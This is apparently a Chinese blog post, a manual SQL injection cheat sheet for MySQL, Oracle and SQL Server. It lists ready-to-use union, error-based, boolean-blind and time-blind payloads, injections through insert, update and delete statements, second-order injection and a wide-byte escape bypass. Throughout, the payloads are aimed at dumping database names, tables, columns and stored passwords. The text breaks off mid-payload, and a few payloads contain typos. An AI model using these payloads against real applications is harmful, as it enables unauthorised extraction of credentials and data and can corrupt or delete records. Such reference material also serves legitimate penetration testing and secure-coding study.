sql备忘录

0x01 Mysql 手工注入

1.1 联合注入

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?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

1.2 报错注入

1.floor()

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select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

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select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

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select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()(5.1>=version<=5.5.48 )

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select * from test where id=1 and geometrycollection((select * from(select * from(select database())a)b));

5.multipoint()(5.1>=version<=5.5.48 )

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select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()(5.1>=version<=5.5.48 )

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select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()(5.1>=version<=5.5.48 )

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select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()(5.1>=version<=5.5.48 )

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select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()(5.1>=version<=5.5.48 )

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select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()(5.1>=version<=5.5.48 )

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select * from test where id=1 and exp(~(select * from(select user())a));

11.NAME_CONST()

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and exists(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c);

12.join

select * from(select * from mysql.user a join mysql.user b)c;

13.ST_LatFromGeoHash()(>=5.7)

select ST_LatFromGeoHash(user());

14.ST_LongFromGeoHash()(>=5.7)

select ST_LongFromGeoHash(user());

15.GTID_SUBSET()(>=5.7)

select GTID_SUBSET(user(),1);

16.GTID_SUBTRACT()(>=5.7)

select GTID_SUBTRACT(user(),1);

17.ST_PointFromGeoHash()(>=5.7)

select ST_PointFromGeoHash(user(),1);

18.procedure analyse()(*<=5.6.17)

procedure analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句末尾

每个一个报错语句都有它的原理:

exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。

updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函数
substr、substring、left
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

?id=1’ and if(ascii(substr(database(),1,1))>115,1,sleep(5))–+
?id=1’ and if((substr((select user()),1,1)=’r’),sleep(5),1)–+

1.3.2 布尔盲注

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?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

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?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +

#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入

1.4.1 报错

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mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false

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mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

1.4.2 盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等

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mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
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mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)

#字符型注意闭合不能使用and

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mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
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mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)

delete 函数 or 右边一定要为 false

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mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
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mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

#update 更新数据内容

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mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)
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mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values (‘3’,0x61646d696e272d2d2b,’11’);
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+—-+———–+——-+
| id | name | pass |
+—-+———–+——-+
| 1 | admin | admin |
| 2 | admin’111 | 11111 |
| 3 | admin’–+ | 11 |
+—-+———–+——-+
4 rows in set (0.00 sec)
二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin’–+ 误认为 admin 账户

宽字节注入:针对目标做了一定的防护,单引号转变为 ' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入
id=-1%df’ union select…

没使用宽字节
%27 -> %5C%27

使用宽字节
%df%27 -> %df%5c%27 -> 運’

0x02 Oracle 手工注入

2.1 联合注入

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?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

2.2 报错注入

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?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))-

2.3 盲注

2.3.1 布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下:
IF 条件=值1 THEN
    RETURN(返回值1)
ELSIF 条件=值2 THEN
    RETURN(返回值2)
    ……
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF
?id=1’ and 1=(select decode(user,’SYSTEM’,1,0,0) from dual)–
?id=1’ and 1=(select decode(substr(user,1,1),’S’,1,0,0) from dual)–
?id=1’ and ascii(substr(user,1,1))> 64– #二分法

2.3.2 时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注,这个函数可以指定延迟的时间

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

0x03 SQL server 手工注入

3.1 联合注入

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?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

3.2 报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

3.3 盲注

3.3.1 布尔盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

3.3.2 时间盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wai


sql备忘录
https://pho3n1x-web.github.io/2022/06/16/sql备忘录/
Author
Pho3n1x
Posted on
June 16, 2022
Licensed under